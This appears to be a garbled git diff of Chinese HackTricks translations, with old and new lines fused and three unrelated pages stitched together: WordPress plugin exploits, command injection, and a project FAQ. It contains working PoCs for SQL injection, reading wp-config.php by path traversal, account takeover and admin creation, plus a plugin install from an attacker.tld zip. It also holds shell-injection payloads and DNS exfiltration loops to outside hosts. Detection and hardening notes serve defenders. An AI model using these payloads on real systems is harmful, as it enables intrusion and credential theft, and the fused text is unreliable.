### 未经身份验证的 SQL Injection由于验证不足WP Job Portal <= 2.3.2 ### 由于验证不足导致的未认证 SQL Injection (WP Job Portal <= 2.3.2)
WP Job Portal 招聘插件暴露了一个 **savecategory** 任务,最终在 `modules/category/model.php::validateFormData()` 中执行以下易受攻击的代码: WP Job Portal 招聘插件暴露了一个 **savecategory** 任务,该任务最终在 `modules/category/model.php::validateFormData()` 中执行以下易受攻击的代码:
```php ```php
$category = WPJOBPORTALrequest::getVar('parentid'); $category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' '; $inquery = ' ';
@ -607,11 +608,11 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
$query = "SELECT max(ordering)+1 AS maxordering FROM " $query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later . wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
``` ```
此片段引入的问题: Issues introduced by this snippet:
1. **未清理的用户输入** `parentid` 直接来自 HTTP 请求。 1. **未对用户输入进行消毒** `parentid` 直接来自 HTTP 请求。
2. **WHERE 子句中的字符串拼接** 没有使用 `is_numeric()` / `esc_sql()` / prepared statement 2. **在 WHERE 子句中使用字符串拼接** 未使用 `is_numeric()` / `esc_sql()` / 预处理语句
3. **无需认证即可访问** 虽然该 action 通过 `admin-post.php` 执行,但唯一的检查是 **CSRF nonce**`wp_verify_nonce()`),任何访问者都可以从嵌入了短代码 `[wpjobportal_my_resumes]` 的公共页面获取到 3. **无需认证即可访问** 虽然该操作通过 `admin-post.php` 执行,但唯一的检查是一个 **CSRF nonce** (`wp_verify_nonce()`),任何访问者都可以从包含 shortcode `[wpjobportal_my_resumes]` 的公开页面获取该 nonce
#### 利用 #### 利用
@ -627,20 +628,20 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'parentid=0 OR 1=1-- -' \ -d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id=' -d 'cat_title=pwn' -d 'id='
``` ```
响应会返回注入查询的结果或修改数据库,从而证明存在 SQLi。 响应会泄露被注入查询的结果或修改数据库,从而证明存在 SQLi。
### 未认证的任意文件下载 / 路径遍历 (WP Job Portal <= 2.3.2) ### 未认证的任意文件下载 / 路径遍历 (WP Job Portal <= 2.3.2)
另一个任务 **downloadcustomfile** 允许访问者通过路径遍历下载磁盘上的 **任意文件**。易受攻击的 sink 位于 `modules/customfield/model.php::downloadCustomUploadedFile()` 另一个任务 **downloadcustomfile**,允许访客通过路径遍历下载磁盘上的 **任何文件**。易受攻击的入口位于 `modules/customfield/model.php::downloadCustomUploadedFile()`
```php ```php
$file = $path . '/' . $file_name; $file = $path . '/' . $file_name;
... ...
echo $wp_filesystem->get_contents($file); // raw file output echo $wp_filesystem->get_contents($file); // raw file output
``` ```
`$file_name` 是 attacker-controlled 并在拼接时 **未经过清理**。再次,唯一的门槛是一个 **CSRF nonce**,可以从简历页面获取 `$file_name` 由攻击者控制并在拼接时**未经过过滤**。再次,唯一的门槛是可以从简历页面获取的 **CSRF nonce**
#### Exploitation #### 利用
```bash ```bash
curl -G https://victim.com/wp-admin/admin-post.php \ curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \ --data-urlencode 'task=downloadcustomfile' \
@ -649,11 +650,11 @@ curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'entity_id=1' \ --data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php' --data-urlencode 'file_name=../../../wp-config.php'
``` ```
The server responds with the contents of `wp-config.php`, leaking DB credentials and auth keys. 服务器响应包含 `wp-config.php` 的内容leaking DB credentials and auth keys。
## 未经身份验证的账户接管通过 Social Login AJAX fallback (Jobmonster Theme <= 4.7.9) ## Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
许多主题/插件通过 admin-ajax.php 暴露“social login”辅助程序。如果一个未经身份验证的 AJAX 动作 (wp_ajax_nopriv_...) 在提供者数据缺失时信任客户端提供的标识符,并随后调用 wp_set_auth_cookie(),就会导致完全的身份验证绕过。 许多 themes/plugins 通过 admin-ajax.php 提供 "social login" helpers。如果未认证的 AJAX action (wp_ajax_nopriv_...) 在 provider data 缺失时信任客户端提供的标识符,并随后调用 wp_set_auth_cookie(),则会导致完全的身份验证绕过。
典型的有缺陷的模式(简化) 典型的有缺陷的模式(简化)
```php ```php
@ -684,17 +685,17 @@ wp_send_json(['status' => 'not_user']);
} }
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']); // add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
``` ```
可被利用 什么可被利用
- 可在未认证情况下通过 admin-ajax.phpwp_ajax_nopriv_… action访问。 - 可通过 admin-ajax.phpwp_ajax_nopriv_… action在 unauthenticated 状态下访问。
- 在状态更改之前没有 nonce/capability checks - 在状态改变之前没有 nonce/capability 检查
- 缺少 OAuth/OpenID provider 验证;默认分支接受攻击者输入。 - 缺少 OAuth/OpenID provider 验证;默认分支接受攻击者输入。
- get_user_by('email', $_POST['id']) 随后调用 wp_set_auth_cookie($uid) 会将请求者认证为任意存在的邮箱地址。 - get_user_by('email', $_POST['id']) 随后调用 wp_set_auth_cookie($uid) 会将请求者认证为任何现有的邮箱地址。
利用(未认证) Exploitation (unauthenticated)
- 先决条件:攻击者能够访问 /wp-admin/admin-ajax.php 并知道/猜测有效的用户邮箱。 - 前提条件:攻击者可以访问 /wp-admin/admin-ajax.php 并知道或猜到一个有效的用户邮箱。
- 将 provider 设置为不受支持的值(或省略)以触发默认分支并传递 id=<victim_email> - 将 provider 设置为不受支持的值(或省略)以触发默认分支并传递 id=<victim_email>
```http ```http
POST /wp-admin/admin-ajax.php HTTP/1.1 POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld Host: victim.tld
@ -707,7 +708,7 @@ action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \ curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com" -d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
``` ```
预期成功指标 Expected success indicators
- HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}. - HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}.
- Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated. - Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.
@ -719,15 +720,15 @@ Finding the action name
Detection checklist Detection checklist
- Web 日志显示未经身份验证的 POST 请求到 /wp-admin/admin-ajax.php带有 social-login action 和 id=<email> - Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=<email>.
- 从相同 IP/User-Agent 紧接出现成功 JSON 的 200 响应,随后出现已认证流量。 - 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent.
Hardening Hardening
- 不要从客户端输入推导身份。只接受来源于已验证 provider token/ID 的电子邮箱/ID - 不要从客户端输入推导身份。只接受来源于已验证 provider token/ID 的 emails/IDs
- 即便是 login helpers也要要求 CSRF nonces 和 capability checks除非绝对必要否则避免注册 wp_ajax_nopriv_。 - 即使是 login helpers也要要求 CSRF nonces 和 capability checks除非绝对必要避免注册 wp_ajax_nopriv_。
- 在服务器端验证和校验 OAuth/OIDC 响应;拒绝缺失/无效的 providers不要回退到 POST id - 在服务器端验证并核实 OAuth/OIDC 响应;拒绝缺失/无效的 providers不要回退到 POST id
- 考虑暂时禁用 social login 或在边缘进行虚拟打补丁(阻断易受攻击的 action直到修复 - 在修复前,考虑临时禁用 social login 或在边缘进行虚拟补丁(阻止易受攻击的 action
Patched behaviour (Jobmonster 4.8.0) Patched behaviour (Jobmonster 4.8.0)
@ -735,13 +736,13 @@ Patched behaviour (Jobmonster 4.8.0)
## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82) ## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)
一些插件暴露 REST endpoints会铸造可重用的 “connection keys” 或 tokens而不验证调用者的 capabilities。如果路由仅对可猜测的属性例如 username进行认证且没有将 key 绑定到带有 capability checks 的 user/session任何未经认证的攻击者都可以铸造一个 key 并调用有特权的操作(创建 admin 账号、插件操作 → RCE 一些插件公开了 REST endpoints会在未验证调用者权限的情况下铸造可重用的 “connection keys” 或 tokens。如果该路由仅基于可猜测的属性例如 username进行认证且没有将密钥绑定到带有 capability checks 的用户/会话,任何未认证的攻击者都可以铸造密钥并调用特权操作(创建 admin 账户、插件操作 → RCE
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection - Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback - Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
- Impact: full takeover by chaining the minted key to internal privileged actions - Impact: full takeover by chaining the minted key to internal privileged actions
PoC mint a connection key and use it PoC 铸造一个 connection key 并使用它
```bash ```bash
# 1) Obtain key (unauthenticated). Exact payload varies per plugin # 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \ curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
@ -755,29 +756,29 @@ curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'X-Connection-Key: <conn_key>' \ -H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}' --data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
``` ```
可被利用 什么可被利用
- 敏感的 REST 路由仅由低熵的身份凭证username或缺失的 permission_callback 保护 - 敏感的 REST 路由仅通过低熵的身份证明(用户名)保护,或缺少 permission_callback
- 没有 capability 强制;生成的密钥被当作通用绕过 - 未进行 capability 强制检查;生成的密钥被当作通用绕过凭证
检测清单 Detection checklist
- 使用 grep 在插件代码中搜索 register_rest_route(..., [ 'permission_callback' => '__return_true' ]) - 在插件代码中 grep 寻找 register_rest_route(..., [ 'permission_callback' => '__return_true' ])
- 任何基于请求提供的身份(username/email发放 tokens/keys 的路由,且未绑定到已认证用户或 capability - 任何基于请求提供的身份(用户名/电子邮件)发放令牌/密钥,但未关联到已认证用户或 capability 的路由
- 查找后续路由,它们在没有服务器端 capability 检查的情况下接受生成的 token/key - 查找后续路由,它们接受生成的令牌/密钥却没有进行服务端的 capability 检查
加固 加固
- 对于任何有特权的 REST 路由:要求 permission_callback 强制执行 current_user_can() 来检查所需的 capability - 对于任何有权限的 REST 路由:要求 permission_callback且在其内使用 current_user_can() 来检查所需的 capability
- 不要基于客户端提供的身份发放长期有效的密钥;如确有必要,应在认证后发放短期、绑定用户的 tokens,并在使用时重新检查 capability - 不要根据客户端提供的身份铸造长寿命密钥;如有必要,应在认证后签发短期、绑定用户的令牌,并在使用时重新检查 capability
- 验证调用者的用户上下文(仅调用 wp_set_current_user 不足以证)并拒绝满足 !is_user_logged_in() || !current_user_can(<cap>) 的请求 - 验证调用者的用户上下文(仅调用 wp_set_current_user 不足以证)并拒绝满足 !is_user_logged_in() || !current_user_can(<cap>) 的请求
--- ---
## Nonce gate misuse → 未认证的任意插件安装 (FunnelKit Automations ≤ 3.5.3) ## Nonce 门滥用 → 未认证的任意插件安装 (FunnelKit Automations ≤ 3.5.3)
Nonces 是用来防止 CSRF 的,不是用来做授权。如果代码将 nonce 验证通过视为通行证,然后跳过对特权操作(例如 install/activate plugins的 capability 检查,未认证的攻击者可以满足一个弱 nonce 要求并通过安装带后门或存在漏洞的插件达到 RCE。 Nonces 用于防止 CSRF而不是用于授权。如果代码把 nonce 验证通过当作放行,然后跳过对特权操作的 capability 检查(例如安装/激活 插件),未认证的攻击者可以满足弱的 nonce 要求,通过安装带后门或有漏洞的插件达到 RCE。
- Vulnerable path: plugin/install_and_activate - 易受影响的路径: plugin/install_and_activate
- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes” - 漏洞:弱的 nonce hash 检查nonce “通过” 后没有 current_user_can('install_plugins'|'activate_plugins') 检查
- Impact: full compromise via arbitrary plugin install/activation - 影响:通过任意插件安装/激活导致完全妥协
PoC具体形式取决于插件仅作示例 PoC具体形式取决于插件仅作示例
```bash ```bash
@ -785,24 +786,24 @@ curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_
-H 'Content-Type: application/json' \ -H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}' --data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
``` ```
检测清单 Detection checklist
- 修改插件/主题的 REST/AJAX 处理程序仅使用 wp_verify_nonce()/check_admin_referer(),且没有权限检查 - REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
- 在 nonce 验证之后将 $skip_caps = true 的任何代码路径 - Any code path that sets $skip_caps = true after nonce validation
加固 Hardening
- 始终仅将 nonces 视为 CSRF tokens不论 nonce 状态如何,都要强制执行权限检查 - Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state
- 在到达安装器代码之前,要求 current_user_can('install_plugins') 和 current_user_can('activate_plugins') - Require current_user_can('install_plugins') and current_user_can('activate_plugins') before reaching installer code
- 拒绝未认证访问;避免为高权限流程暴露 nopriv AJAX actions - Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows
--- ---
## depicter-* actions 中通过 s (search) 参数触发的未认证 SQLiDepicter Slider ≤ 3.6.1 ## 未经认证的 SQLi 通过 depicter-* actions 中的 s (search) 参数 (Depicter Slider ≤ 3.6.1)
多个 depicter-* actions 使用了 s (search) 参数,并将其拼接进 SQL 查询,未使用参数化。 Multiple depicter-* actions consumed the s (search) parameter and concatenated it into SQL queries without parameterization.
- 参数:s (search) - Parameter: s (search)
- 缺陷:在 WHERE/LIKE 子句中直接进行字符串拼接;未使用预处理语句或输入清理 - Flaw: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization
- 影响:数据库数据外泄(用户、哈希),可能导致横向移动 - Impact: database exfiltration (users, hashes), lateral movement
PoC PoC
```bash ```bash
@ -811,38 +812,38 @@ curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \ --data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -" --data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
``` ```
检测清单 Detection checklist
- grep 查找 depicter-* action handlers 并检查在 SQL 中直接使用 $_GET['s'] 或 $_POST['s'] - Grep depicter-* action handlers 并检查在 SQL 中直接使用 $_GET['s'] 或 $_POST['s']
- 审查传入 $wpdb->get_results()/query() 且对 s 进行拼接的自定义查询 - 审查传入 $wpdb->get_results()/query() 的自定义查询,是否通过串联包含 s
加固 Hardening
- 始终使用 $wpdb->prepare() 或 wpdb 占位符;在服务器端拒绝意外的元字符 - 始终使用 $wpdb->prepare() 或 wpdb placeholders;在服务器端拒绝意外的元字符
- 为 s 添加严格的允许列表并规范化为预期的字符集/长度 - 为 s 添加严格的允许列表并规范化为预期的字符集/长度
--- ---
## 无需认证的 Local File Inclusion通过未验证的 template/文件路径) (Kubio AI Page Builder ≤ 2.5.1) ## Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)
template 参数中接受可被攻击者控制的路径而不进行规范化/限制,会允许读取任意本地文件;如果将可被包含的 PHP 或 log 文件拉入运行时,某些情况下甚至可能导致代码执行。 模板参数中接受攻击者控制的路径而不进行规范化/限制,允许读取任意本地文件,并且如果将可包含的 PHP/日志文件拉入运行时,有时会导致代码执行。
- Parameter: __kubio-site-edit-iframe-classic-template - 参数: __kubio-site-edit-iframe-classic-template
- Flaw: 没有规范化/允许列表;允许遍历 - 缺陷: 未进行规范化/允许列表限制;允许遍历
- Impact: 敏感信息泄露 (wp-config.php),在特定环境下可能导致 RCElog poisoning、可被包含的 PHP - 影响: 机密披露 (wp-config.php),在特定环境中可能导致 RCElog poisoning, includable PHP
PoC 读取 wp-config.php PoC 读取 wp-config.php
```bash ```bash
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php" curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
``` ```
Detection checklist 检测清单
- 任何将请求路径拼接到 include()/require()/read sink 的处理程序,且未使用 realpath() 进行包含限制 - 任何 handler 将请求路径串联到 include()/require()/read sinks 中且未使用 realpath() 进行限制
- 寻找到达预期 templates 目录之外的遍历模式 (../) - 查找 traversal 模式 (../) 导致超出预期 templates 目录
Hardening 加固
- 强制使用白名单模板;使用 realpath() 解析并要求 str_starts_with(realpath(file), realpath(allowed_base)) - 强制使用 allowlisted templates;使用 realpath() 解析并要求 str_starts_with(realpath(file), realpath(allowed_base))
- 规范化输入;拒绝目录遍历序列和绝对路径;仅在文件名上使用 sanitize_file_name()(不要用于完整路径) - 规范化输入;拒绝 traversal 序列和绝对路径;仅对文件名(非完整路径)使用 sanitize_file_name()
## References ## 参考资料
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/) - [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/) - [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)

View File

@ -2,13 +2,13 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## What is command Injection? ## 什么是 command Injection?
一个 **command injection** 允许攻击者在托管应用程序的服务器上执行任意操作系统命令。因此,应用程序及其所有数据可能被完全入侵或破坏。这些命令的执行通常使攻击者能够获得对应用程序运行环境和底层系统的未授权访问或控制 A **command injection** 允许攻击者在托管应用程序的服务器上执行任意操作系统命令。 因此,应用程序及其所有数据可能会被完全妥协。 执行这些命令通常使攻击者能够未授权地访问或控制应用程序的环境和底层系统
### Context ### 上下文
取决于 **你的输入被注入的位置**,你可能需要在命令之前**终止被引用的上下文**(使用 `"``'`)才能执行命令。 根据**你的输入被注入的位置**,在执行命令之前,你可能需要**终止引号上下文**(使用 `"``'`)才能插入命令。
## Command Injection/Execution ## Command Injection/Execution
```bash ```bash
@ -30,9 +30,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
> /var/www/html/out.txt #Try to redirect the output to a file > /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command < /etc/passwd #Try to send some input to the command
``` ```
### **限制** 绕过 ### **Limition** 绕过
如果你想在 **linux 机器内执行任意命令**,你可能会对这些 **绕过方法** 感兴趣: 如果你正在尝试在 **arbitrary commands inside a linux machine** 上执行命令,你会有兴趣阅读这些 **Bypasses:**
{{#ref}} {{#ref}}
@ -47,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
``` ```
### 参数 ### 参数
下面列出可能容易受到 code injection 以及类似 RCE 漏洞影响的前 25 个参数(来自 [link](https://twitter.com/trbughunters/status/1283133356922884096) 下面列出可能易受 code injection 和类似 RCE 漏洞影响的前 25 个参数(来自 [link](https://twitter.com/trbughunters/status/1283133356922884096)
``` ```
?cmd={payload} ?cmd={payload}
?exec={payload} ?exec={payload}
@ -91,7 +91,7 @@ sys 0m0.000s
``` ```
### DNS based data exfiltration ### DNS based data exfiltration
基于来自 `https://github.com/HoLyVieR/dnsbin` 的工具,也托管在 dnsbin.zhack.ca 基于工具 `https://github.com/HoLyVieR/dnsbin`,也托管在 dnsbin.zhack.ca
``` ```
1. Go to http://dnsbin.zhack.ca/ 1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls' 2. Execute a simple 'ls'
@ -101,12 +101,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
``` ```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
``` ```
用于检查基于 DNS 的 data exfiltration 的在线工具: 可用于检查 DNS based data exfiltration 的在线工具:
- dnsbin.zhack.ca - dnsbin.zhack.ca
- pingb.in - pingb.in
### 绕过过滤 ### Filtering bypass
#### Windows #### Windows
``` ```
@ -120,9 +120,9 @@ powershell C:**2\n??e*d.*? # notepad
../linux-hardening/bypass-bash-restrictions/ ../linux-hardening/bypass-bash-restrictions/
{{#endref}} {{#endref}}
### Node.js `child_process.exec` vs `execFile` ### Node.js `child_process.exec` `execFile`
在审计 JavaScript/TypeScript 后端时,你经常会遇到 Node.js `child_process` API。 在审计 JavaScript/TypeScript 后端时,通常会遇到 Node.js 的 `child_process` API。
```javascript ```javascript
// Vulnerable: user-controlled variables interpolated inside a template string // Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process'); const { exec } = require('child_process');
@ -130,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
/* … */ /* … */
}); });
``` ```
`exec()` 会生成一个 **shell** (`/bin/sh -c`),因此任何对 shell 有特殊意义的字符(反引号`;``&&``|``$()`、…)在将用户输入拼接到字符串中时都会导致 **command injection** `exec()` spawns a **shell** (`/bin/sh -c`),因此任何对 shell 有特殊意义的字符(反引号, `;`, `&&`, `|`, `$()`, …)在将用户输入拼接到字符串时都会导致 **command injection**
**缓解措施:** 使用 `execFile()`(或在不启用 `shell` 选项的情况下使用 `spawn()`),并将 **每个参数作为单独的数组元素** 提供,这样就不会涉及 `shell` **缓解** 使用 `execFile()`(或在不带 `shell` 选项的情况下使用 `spawn()`),并将 **每个参数作为单独的数组元素** 提供,这样就不会涉及 shell
```javascript ```javascript
const { execFile } = require('child_process'); const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [ execFile('/usr/bin/do-something', [
@ -140,25 +140,25 @@ execFile('/usr/bin/do-something', [
'--payload', JSON.stringify(payload) '--payload', JSON.stringify(payload)
]); ]);
``` ```
真实案例: *Synology Photos* ≤ 1.7.0-0794 可通过一次未认证的 WebSocket 事件被利用,该事件将攻击者控制的数据放入 `id_user`,后来该值被嵌入到 `exec()` 调用中,导致 RCE (Pwn2Own Ireland 2024)。 Real-world case: *Synology Photos* ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into `id_user` which was later embedded in an `exec()` call, achieving RCE (Pwn2Own Ireland 2024).
### Argument/Option injection via leading hyphen (argv, no shell metacharacters) ### Argument/Option injection via leading hyphen (argv, no shell metacharacters)
并非所有注入都需要 shell metacharacters。如果应用将不受信任的字符串作为参数传给系统工具即使使用 `execve`/`execFile` 且没有 shell许多程序仍会将`-``--` 开头的参数解析为选项。这样攻击者就可以切换模式、更改输出路径或触发危险行为,而无需进入 shell。 并非所有注入都需要 shell 元字符。如果应用将不受信任的字符串作为参数传递给系统工具(即使使用了 `execve`/`execFile` 并且没有经过 shell许多程序仍会把`-``--` 开头的参数解析为选项。这样攻击者就可以切换模式、更改输出路径或触发危险行为,而无需进入 shell。
典型出现位置: 常见出现位置:
- 构建诸如 `ping <user>``tcpdump -i <iface> -w <file>``curl <url>` 等命令的嵌入式 web UIs/CGI 处理器。 - 嵌入式 web UIs/CGI handlers that build commands like `ping <user>`, `tcpdump -i <iface> -w <file>`, `curl <url>`, etc.
- 集中式 CGI 路由(例如 `/cgi-bin/<something>.cgi`,带有`topicurl=<handler>` 这样的选择器参数),多个处理器重用相同弱校验器的情况 - 集中式 CGI 路由(例如 `/cgi-bin/<something>.cgi`,带有选择器参数如 `topicurl=<handler>`),多个处理程序重用相同的弱验证器时会出现此类问题
尝试方法: 尝试方法:
- 提供以 `-`/`--` 开头的值,让下游工具将其作为 flags 消耗 - 提供以 `-`/`--` 开头的值供下游工具作为标志解析
- 滥用会改变行为或写入文件的 flags,例如: - 滥用会改变行为或写入文件的标志,例如:
- `ping``-f`/`-c 100000` 来压榨设备DoS - `ping`:使用 `-f`/`-c 100000` 使设备过载DoS
- `curl``-o /tmp/x` 写入任意路径,`-K <url>` 加载攻击者控制的配置 - `curl`使用 `-o /tmp/x` 写入任意路径,使用 `-K <url>` 加载攻击者控制的配置
- `tcpdump``-G 1 -W 1 -z /path/script.sh` 在不安全的包装器中实现轮后执行 - `tcpdump`使用 `-G 1 -W 1 -z /path/script.sh` 在不安全的包装器中实现轮后执行
- 如果程序支持 `--` end-of-options尝试绕过在错误位置预置 `--` 的简单缓解措施。 - 如果程序支持 `--` end-of-options尝试绕过那些在错误位置预置 `--` 的幼稚缓解措施。
Generic PoC shapes against centralized CGI dispatchers: Generic PoC shapes against centralized CGI dispatchers:
``` ```
@ -171,7 +171,7 @@ topicurl=<handler>&param=-n
# Unauthenticated RCE when a handler concatenates into a shell # Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id; topicurl=setEasyMeshAgentCfg&agentName=;id;
``` ```
## Brute-Force 检测列表 ## 暴力破解检测列表
{{#ref}} {{#ref}}

View File

@ -2,56 +2,56 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## HackTricks 价值观 ## HackTricks Values
> [!TIP] > [!TIP]
> 这是 **HackTricks 项目** 的**价值观** > 这**HackTricks 项目** 的**价值观**
> >
> - 为整个互联网提供 **免费****教育性 hacking** 资源。 > - 为**全体互联网**提供**FREE** 的 **EDUCATIONAL hacking** 资源。
> - Hacking 是关于学习的,学习应尽可能免费。 > - Hacking 是关于学习的,学习应尽可能免费。
> - 本书的目的是作为一个综合 **教育资源** > - 本书的目的是作为一个综合的**教育资源**。
> - **存储** 社区发布的精彩 **hacking** 技术,并将 **原始** **作者** 的所有 **署名** 归于他们 > - **STORE** 社区发布的精彩 **hacking** 技术,并给予 **ORIGINAL AUTHORS** 所有的**credits**
> - **我们不想拿别人的功劳**,我们只是想为大家保存很酷的技巧。 > - **我们不想从他人那里获取荣誉**,我们只是想为所有人保存很酷的技巧。
> - 我们也在 HackTricks 中撰写 **我们自己的研究** > - 我们也在 HackTricks 中撰写**我们自己的研究**。
> - 在若干情况下,我们只会在 HackTricks 中撰写该技术重要部分的 **摘要**,并会 **鼓励读者访问原始文章** 以获取更多细节 > - 在若干情况下,我们只会在 **HackTricks 中总结该技术的重要部分** 并**鼓励读者访问原文以获取更多细节**
> - **组织** 书中的所有 **hacking** 技术,使其 **更易获取** > - **ORGANIZE** 书中所有的 hacking 技术,使其**更易获取**
> - HackTricks 团队免费投入了数千小时,**仅用于组织内容**,以便人们能 **更快学习** > - HackTricks 团队无偿投入了数千小时**仅用于组织内容**,以便人们**更快学习**
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure> <figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
## HackTricks 常见问题 ## HackTricks faq
> [!TIP] > [!TIP]
> >
> - **非常感谢这些资源,我该如何表达谢意?** > - **Thank you so much for these resources, how can I thank you?**
你可以在公开的推文中感谢 HackTricks 团队整理这些资源,提及 [**@hacktricks_live**](https://twitter.com/hacktricks_live).\ 你可以在推特上发布一条提到 [**@hacktricks_live**](https://twitter.com/hacktricks_live) 的推文,公开感谢 HackTricks 团队汇集这些资源。\
如果你特别感激,你也可以在此 [**赞助该项目**](https://github.com/sponsors/carlospolop).\ 如果你特别感激,你也可以 [**sponsor the project here**](https://github.com/sponsors/carlospolop)。\
别忘了在 Github 项目**点个星**(链接见下方)。 别忘了在 Github 项目**给个 star**(链接见下方)。
> [!TIP] > [!TIP]
> >
> - **如何为该项目做贡献?** > - **How can I contribute to the project?**
你可以通过向相应的 Github 页面提交一个 **Pull Request** 来**与社区分享新的技巧或修复书中的 bug** 你可以通过向社区**分享新的 tips and tricks 或修复** 你在书中发现的 bug向相应的 Github 页面发送 **Pull Request**
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks) - [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud) - [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
别忘了在 Github 项目上 **点个星** 别忘了在 Github 项目中 **给个 star**
> [!TIP] > [!TIP]
> >
> - **我可以复制 HackTricks 的部分内容并放到我的博客吗?** > - **Can I copy some content from HackTricks and put it in my blog?**
可以,但 **不要忘记提及内容来源的具体链接** 可以,但**别忘了注明内容来源的具体链接**
> [!TIP] > [!TIP]
> >
> - **如何引用 HackTricks 的某个页面?** > - **How can I reference a page of HackTricks?**
只要显示你获取信息的页面的链接就足够了。\ 只要出现你获取信息的页面链接就足够了。\
如果你需要 bibtex你可以使用如下格式 如果你需要 bibtex你可以使用类似
```latex ```latex
@misc{hacktricks-bibtexing, @misc{hacktricks-bibtexing,
author = {"HackTricks Team" or the Authors name of the specific page/trick}, author = {"HackTricks Team" or the Authors name of the specific page/trick},
@ -62,51 +62,51 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
``` ```
